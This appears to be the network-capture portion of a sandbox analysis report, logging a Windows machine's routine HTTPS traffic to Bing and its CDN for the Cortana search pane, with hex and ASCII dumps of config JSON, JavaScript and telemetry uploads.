2024-01-26 09:17:45 UTC	2692	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: 60 X-DeviceID: 01000A4109009A83 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAWmZLpgirMCAhIArNhIHI6UXpN6ylLLTic8C7Ww4F7asfr%2Bqng07uIpHgFlDpzqRleqh9Abo//dlTrQhlRnGWqiiqCjXdOPs80fWkZJFyjNpRccqWZjCB/CQcVqMw/B%2BUV6hk6jS4daAOrT4BZVMzCPKjul8emwltmpoWKhvKpUQakailk231Ij1fqhMwHcQQ1EvM/9AsXJL7O4L3EmFUF5JdJ%2BSPhMwG%2Bqmh6lEFMetqjfVdClBvQ5rqCntPXIZn%2Bo3Y6Xly8vMKsTvW%2Bz7e1j71ozp4ecJiM3eJBl62DTVFsHKKV2BI9Dcm2FtwJ6/esI4yhmcktXLfWLmbtbi84ADZgAACM9M5N2/gS14qAE4D8lg0wtz9xu5eaJTrSy//81sV0K8Rq16oi5oNTYr5NO5WaCLap%2BnLfGPjuh33nH1RI0zQ%2B7Hyx9SjtNH8ox7KEqfsGVBWQx4ZDcLWpOPpwl57EbbIOHjCBp8PH3v0%2BtAq7r/G2/QVvyTDQnFqchTmtrIYlNC2RGIyYofgWNpRUna0Vd6kw6dZ81VilG59ZUdA6mdvORH282fYZhY40/fMN6UEc2qElNjpXKyG6h2SqBHIbQDXciBtJXEeNSGsDLRX8Khh03xiowuT4lEICLSKbIsBC1QXCTKWGYdHVEa/ArG0AQQWJ8k1ki8L%2BIq6guzy9RDlxlPeVjXiwpBeYjTuVdG8unO/m9ZOH3yp7N28REEfHLHqpy12N8Q237IIKdr%2Brl9V5ecCZBuQ9%2BUNVQjwX7TVmMMHI59m1/ftv4n2Yo8y/8uYwlNNlIiG7i1vgGDJxS2zC2eKoIiLOVnRvLB2E/oGsjoFKhsXJxGi/fCkUlv5ovIrt26LaRUk7H%2B4%2BWCKFk118%2B3hcZVLFGBqXPMEPGEfZFRP/pdjm5DY6p9zs0yh3GKsCT52AE%3D%26p%3D X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1706260663 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: FDC56844471F42B2A2AF698DCA19B67D X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUID=5047E5942BB2460EA35B53CCF78DDB3D; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:45 UTC	1649	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2215 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: _EDGE_S=SID=2A69A83C1D2A676501D3BC2E1C9A6622&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: MUIDB=5047E5942BB2460EA35B53CCF78DDB3D; expires=Wed, 19-Feb-2025 09:17:45 GMT; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:45 GMT; path=/; secure; SameSite=None Set-Cookie: ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:45 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=2A69A83C1D2A676501D3BC2E1C9A6622; domain=.bing.com; path=/; secure; SameSite=None X-EventID: 65b378b950b44275abe8aab90b1fadba UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 77D94814D06E4A68B8D6D01E9D417D62 Ref B: BLUEDGE1721 Ref C: 2024-01-26T09:17:45Z Date: Fri, 26 Jan 2024 09:17:44 GMT Connection: close
2024-01-26 09:17:45 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.16	49763	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:45 UTC	825	OUT	GET /rp/-UUUC3NtBup9DdJY7dsEaFX-QoY.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:45 UTC	904	IN	HTTP/1.1 200 OK Content-Length: 197257 Content-Type: text/javascript; charset=utf-8 Content-MD5: ah29wr728MmsEhA4+YsDiQ== Last-Modified: Thu, 25 Jan 2024 02:14:12 GMT ETag: 0x8DC1D4B52C8CE8E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 39c63ae6-e01e-0035-3a5e-4f7632000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=338358 Expires: Tue, 30 Jan 2024 07:17:03 GMT Date: Fri, 26 Jan 2024 09:17:45 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260665.406dd208 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:17:45 UTC	15480	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 3f 21 30 3a 6e 26 26 74 3f 70 28 6e 2e 61 74 74 72 69 62 75 74 65 73 2c 74 2e 61 74 74 72 69 62 75 74 65 73 29 26 26 61 28 6e 2e 70 61 72 61 6d 65 74 65 72 73 2c 74 2e 70 61 72 61 6d 65 74 65 72 73 29 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 6e 2c 74 29 7b 76 61 72 20 69 2c 72 3b 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 3f 21 30 3a 6e 26 26 74 3f 28 28 69 3d 6e 2e 67 6c 65 61 6d 44 61 74 61 29 3d 3d 3d 6e 75 6c 6c 7c 7c 69 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 69 2e 74 65 6c 65 6d 65 74 72 79 49 64 29 3d 3d 3d 28 28 72 3d 74 2e 67 6c 65 61 6d 44 61 74 61 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 Data Ascii: var WSB;(function(n){function c(n,t){return n===t?!0:n&&t?p(n.attributes,t.attributes)&&a(n.parameters,t.parameters):!1}function l(n,t){var i,r;return n===t?!0:n&&t?((i=n.gleamData)===null\|\|i===void 0?void 0:i.telemetryId)===((r=t.gleamData)===null\|\|r===v
2024-01-26 09:17:45 UTC	16384	IN	Data Raw: 70 65 6e 64 52 65 66 72 65 73 68 28 37 2c 32 29 7d 2c 69 2c 22 64 73 62 4d 61 6e 61 67 65 72 3a 3a 62 69 6e 64 53 68 6f 77 6e 22 29 29 3b 74 68 69 73 2e 64 79 6e 61 6d 69 63 53 65 61 72 63 68 42 6f 78 43 6f 6e 74 65 6e 74 4b 65 79 41 74 53 68 6f 77 6e 3d 28 72 3d 28 74 3d 74 68 69 73 2e 70 72 65 76 69 6f 75 73 44 79 6e 61 6d 69 63 53 65 61 72 63 68 42 6f 78 43 6f 6e 74 65 6e 74 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 61 74 74 72 69 62 75 74 65 73 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 63 6f 6e 74 65 6e 74 4b 65 79 7d 29 3b 6e 2e 48 6f 73 74 2e 62 69 6e 64 44 69 73 6d 69 73 73 65 64 28 28 29 3d 3e 7b 76 61 72 20 74 3b 6e 2e 48 6f 73 74 2e 73 65 74 42 69 6e Data Ascii: pendRefresh(7,2)},i,"dsbManager::bindShown"));this.dynamicSearchBoxContentKeyAtShown=(r=(t=this.previousDynamicSearchBoxContent)===null\|\|t===void 0?void 0:t.attributes)===null\|\|r===void 0?void 0:r.contentKey});n.Host.bindDismissed(()=>{var t;n.Host.setBin
2024-01-26 09:17:45 UTC	2513	IN	Data Raw: 70 70 65 72 2e 43 6f 72 74 61 6e 61 41 70 70 29 2e 63 6c 65 61 72 44 79 6e 61 6d 69 63 43 6f 6e 74 65 6e 74 29 3d 3d 3d 6e 75 6c 6c 7c 7c 68 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 68 2e 63 61 6c 6c 28 70 29 29 2c 61 77 61 69 74 28 28 63 3d 28 77 3d 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 2e 43 6f 72 74 61 6e 61 41 70 70 29 2e 72 65 6d 6f 76 65 44 79 6e 61 6d 69 63 53 65 61 72 63 68 42 6f 78 43 6f 6e 74 65 6e 74 29 3d 3d 3d 6e 75 6c 6c 7c 7c 63 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 63 2e 63 61 6c 6c 28 77 29 29 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 44 79 6e 61 6d 69 63 53 65 61 72 63 68 42 6f 78 43 6f 6e 74 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 7d 65 6c 73 65 7b 63 6f 6e 73 74 20 72 3d 74 3d 3d 3d 6e 75 6c 6c 7c 7c 74 Data Ascii: pper.CortanaApp).clearDynamicContent)===null\|\|h===void 0?void 0:h.call(p)),await((c=(w=SearchAppWrapper.CortanaApp).removeDynamicSearchBoxContent)===null\|\|c===void 0?void 0:c.call(w)),this.previousDynamicSearchBoxContent=undefined}else{const r=t===null\|\|t
2024-01-26 09:17:45 UTC	16384	IN	Data Raw: 6d 65 3a 30 2c 72 65 73 70 6f 6e 73 65 3a 6e 75 6c 6c 7d 3b 74 68 69 73 2e 64 69 73 6d 69 73 73 65 64 4d 6f 6d 65 6e 74 73 43 6f 6e 74 65 6e 74 43 61 63 68 65 3d 7b 7d 3b 74 68 69 73 2e 44 53 42 56 32 43 6f 6e 74 65 6e 74 43 61 63 68 65 3d 7b 63 61 63 68 65 54 69 6d 65 3a 30 2c 72 65 73 70 6f 6e 73 65 3a 6e 75 6c 6c 7d 3b 74 68 69 73 2e 68 61 73 50 65 6e 64 69 6e 67 47 6c 65 61 6d 55 70 64 61 74 65 3d 21 31 3b 74 68 69 73 2e 6b 56 61 6c 75 65 43 3d 6e 2e 49 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 43 6f 6d 6d 6f 6e 2e 4b 56 41 4c 55 45 5f 44 53 42 5f 43 55 52 52 45 4e 54 5f 44 41 59 5f 43 4f 4e 54 45 4e 54 3b 74 68 69 73 2e 6b 56 61 6c 75 65 50 3d 6e 2e 49 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 43 6f 6d 6d 6f 6e 2e 4b 56 41 4c 55 45 5f 44 53 42 5f 50 Data Ascii: me:0,response:null};this.dismissedMomentsContentCache={};this.DSBV2ContentCache={cacheTime:0,response:null};this.hasPendingGleamUpdate=!1;this.kValueC=n.InstrumentationCommon.KVALUE_DSB_CURRENT_DAY_CONTENT;this.kValueP=n.InstrumentationCommon.KVALUE_DSB_P
2024-01-26 09:17:45 UTC	12120	IN	Data Raw: 69 6d 65 22 2c 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 29 29 7d 69 73 56 61 6c 69 64 44 53 42 4d 75 6c 74 69 4d 6f 6d 65 6e 74 73 43 6f 6e 74 65 6e 74 28 74 29 7b 69 66 28 6e 2e 54 65 73 74 48 6f 6f 6b 55 72 6c 50 61 72 61 6d 65 74 65 72 73 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 2e 54 65 73 74 48 6f 6f 6b 55 72 6c 50 61 72 61 6d 65 74 65 72 73 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 54 65 73 74 48 6f 6f 6b 55 72 6c 50 61 72 61 6d 65 74 65 72 73 2e 69 73 54 65 73 74 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 74 7c 7c 21 74 2e 43 6f 6e 74 65 6e 74 43 6f 6c 6c 65 63 74 69 6f 6e 7c 7c 74 2e 43 6f 6e 74 65 6e 74 43 6f 6c 6c 65 63 74 69 6f 6e 2e 6c 65 6e 67 74 68 3d 3d 30 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 69 3d 30 3b 72 65 74 Data Ascii: ime",encodeURIComponent(u))}isValidDSBMultiMomentsContent(t){if(n.TestHookUrlParameters===null\|\|n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isTest)return!0;if(!t\|\|!t.ContentCollection\|\|t.ContentCollection.length==0)return!1;let i=0;ret
2024-01-26 09:17:46 UTC	16384	IN	Data Raw: 68 74 73 54 65 6c 65 6d 65 74 72 79 2d 49 47 22 29 2c 74 3d 73 3d 3d 3d 6e 75 6c 6c 7c 7c 73 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 73 2e 68 65 61 64 65 72 73 2e 67 65 74 28 22 58 2d 46 6c 69 67 68 74 73 54 65 6c 65 6d 65 74 72 79 2d 46 6c 69 67 68 74 22 29 3b 74 26 26 6e 26 26 28 28 65 3d 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 3d 3d 3d 6e 75 6c 6c 7c 7c 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 53 65 61 72 63 68 41 70 70 57 72 61 70 70 65 72 2e 43 6f 72 74 61 6e 61 41 70 70 29 3d 3d 3d 6e 75 6c 6c 7c 7c 65 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 65 2e 6c 6f 67 43 72 69 74 69 63 61 6c 46 6c 69 67 68 74 73 54 65 6c 65 6d 65 74 72 79 28 74 2c 6e 29 29 7d 75 3d 28 6f 3d Data Ascii: htsTelemetry-IG"),t=s===null\|\|s===void 0?void 0:s.headers.get("X-FlightsTelemetry-Flight");t&&n&&((e=SearchAppWrapper===null\|\|SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null\|\|e===void 0?void 0:e.logCriticalFlightsTelemetry(t,n))}u=(o=
2024-01-26 09:17:46 UTC	16384	IN	Data Raw: 73 69 62 69 6c 69 74 79 28 6e 2e 53 74 61 74 69 63 48 74 6d 6c 45 6c 65 6d 65 6e 74 73 2e 64 79 6e 61 6d 69 63 50 61 6e 65 46 75 6c 6c 57 69 64 74 68 2c 21 31 29 29 3b 6e 2e 63 6f 6e 66 69 67 2e 75 73 65 43 6f 62 61 6c 74 43 53 53 26 26 28 6e 2e 73 65 74 46 69 78 48 65 69 67 68 74 28 6e 2e 53 74 61 74 69 63 48 74 6d 6c 45 6c 65 6d 65 6e 74 73 2e 64 79 6e 61 6d 69 63 50 61 6e 65 2c 74 29 2c 6e 2e 73 65 74 46 69 78 48 65 69 67 68 74 28 6e 2e 53 74 61 74 69 63 48 74 6d 6c 45 6c 65 6d 65 6e 74 73 2e 71 66 43 6f 6e 74 61 69 6e 65 72 2c 74 29 29 3b 63 6f 6e 73 74 20 72 3d 6e 2e 73 68 6f 75 6c 64 53 68 6f 77 44 53 42 46 75 6c 6c 57 69 64 74 68 28 29 3f 6e 2e 53 74 61 74 69 63 48 74 6d 6c 45 6c 65 6d 65 6e 74 73 2e 64 79 6e 61 6d 69 63 50 61 6e 65 46 75 6c 6c 57 Data Ascii: sibility(n.StaticHtmlElements.dynamicPaneFullWidth,!1));n.config.useCobaltCSS&&(n.setFixHeight(n.StaticHtmlElements.dynamicPane,t),n.setFixHeight(n.StaticHtmlElements.qfContainer,t));const r=n.shouldShowDSBFullWidth()?n.StaticHtmlElements.dynamicPaneFullW
2024-01-26 09:17:46 UTC	7952	IN	Data Raw: 31 35 20 32 38 2e 34 37 36 38 20 33 2e 36 30 32 39 36 20 32 38 2e 37 33 31 35 20 33 2e 38 35 36 34 32 43 32 38 2e 39 38 36 32 20 34 2e 31 30 39 38 37 20 32 39 2e 33 33 30 32 20 34 2e 32 33 36 36 20 32 39 2e 37 36 33 35 20 34 2e 32 33 36 36 43 33 30 2e 32 31 33 32 20 34 2e 32 33 36 36 20 33 30 2e 35 36 39 20 34 2e 31 30 32 37 37 20 33 30 2e 38 32 39 39 20 33 2e 38 33 35 37 39 43 33 31 2e 30 39 31 20 33 2e 35 36 38 38 31 20 33 31 2e 32 32 31 38 20 33 2e 32 30 39 34 38 20 33 31 2e 32 32 31 38 20 32 2e 37 35 38 32 35 43 33 31 2e 32 32 31 38 20 32 2e 33 31 37 37 39 20 33 31 2e 30 39 39 31 20 31 2e 39 36 38 33 31 20 33 30 2e 38 35 33 34 20 31 2e 37 30 39 35 38 43 33 30 2e 36 30 37 39 20 31 2e 34 35 30 34 20 33 30 2e 32 36 36 37 20 31 2e 33 32 31 31 35 20 32 39 Data Ascii: 15 28.4768 3.60296 28.7315 3.85642C28.9862 4.10987 29.3302 4.2366 29.7635 4.2366C30.2132 4.2366 30.569 4.10277 30.8299 3.83579C31.091 3.56881 31.2218 3.20948 31.2218 2.75825C31.2218 2.31779 31.0991 1.96831 30.8534 1.70958C30.6079 1.4504 30.2667 1.32115 29
2024-01-26 09:17:46 UTC	16384	IN	Data Raw: 35 4c 31 33 2e 31 33 38 37 20 31 36 4c 31 39 2e 35 36 34 35 20 32 32 2e 34 33 35 35 43 31 39 2e 36 38 38 32 20 32 32 2e 35 35 39 32 20 31 39 2e 37 35 20 32 32 2e 37 30 35 37 20 31 39 2e 37 35 20 32 32 2e 38 37 35 43 31 39 2e 37 35 20 32 33 2e 30 34 34 33 20 31 39 2e 36 38 38 32 20 32 33 2e 31 39 30 38 20 31 39 2e 35 36 34 35 20 32 33 2e 33 31 34 35 43 31 39 2e 34 34 30 38 20 32 33 2e 34 33 38 32 20 31 39 2e 32 39 34 33 20 32 33 2e 35 20 31 39 2e 31 32 35 20 32 33 2e 35 43 31 38 2e 39 35 35 37 20 32 33 2e 35 20 31 38 2e 38 30 39 32 20 32 33 2e 34 33 38 32 20 31 38 2e 36 38 35 35 20 32 33 2e 33 31 34 35 4c 31 31 2e 38 31 30 35 20 31 36 2e 34 33 39 35 43 31 31 2e 36 38 36 38 20 31 36 2e 33 31 35 38 20 31 31 2e 36 32 35 20 31 36 2e 31 36 39 33 20 31 31 2e 36 Data Ascii: 5L13.1387 16L19.5645 22.4355C19.6882 22.5592 19.75 22.7057 19.75 22.875C19.75 23.0443 19.6882 23.1908 19.5645 23.3145C19.4408 23.4382 19.2943 23.5 19.125 23.5C18.9557 23.5 18.8092 23.4382 18.6855 23.3145L11.8105 16.4395C11.6868 16.3158 11.625 16.1693 11.6
2024-01-26 09:17:46 UTC	8048	IN	Data Raw: 2c 69 26 26 52 65 61 63 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 72 2e 45 72 72 6f 72 42 6f 75 6e 64 61 72 79 2c 7b 6b 65 79 3a 6e 2e 69 64 2c 66 72 6f 6d 41 72 65 61 3a 60 24 7b 74 2e 64 61 74 65 7d 2d 24 7b 69 2e 70 72 6f 70 73 2e 53 63 65 6e 61 72 69 6f 7d 60 2c 64 61 74 61 3a 6e 7d 2c 52 65 61 63 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 69 2e 73 65 63 74 69 6f 6e 56 69 65 77 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 69 2e 70 72 6f 70 73 29 2c 7b 6b 65 79 3a 69 2e 70 72 6f 70 73 2e 69 64 7d 29 29 29 7d 7d 29 29 29 29 3a 52 65 61 63 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 6e 75 6c 6c 29 7d 7d 72 2e 44 79 6e 61 6d 69 63 53 65 61 72 63 68 42 6f 78 54 65 6d 70 6c Data Ascii: ,i&&React.createElement(r.ErrorBoundary,{key:n.id,fromArea:`${t.date}-${i.props.Scenario}`,data:n},React.createElement(i.sectionView,Object.assign(Object.assign({},i.props),{key:i.props.id})))}})))):React.createElement("div",null)}}r.DynamicSearchBoxTempl

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.16	49764	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:45 UTC	2284	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 4066 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:45 UTC	4066	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 39 37 39 30 63 32 31 33 31 36 36 34 66 34 63 38 61 39 34 32 36 65 34 33 63 30 65 64 31 61 66 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 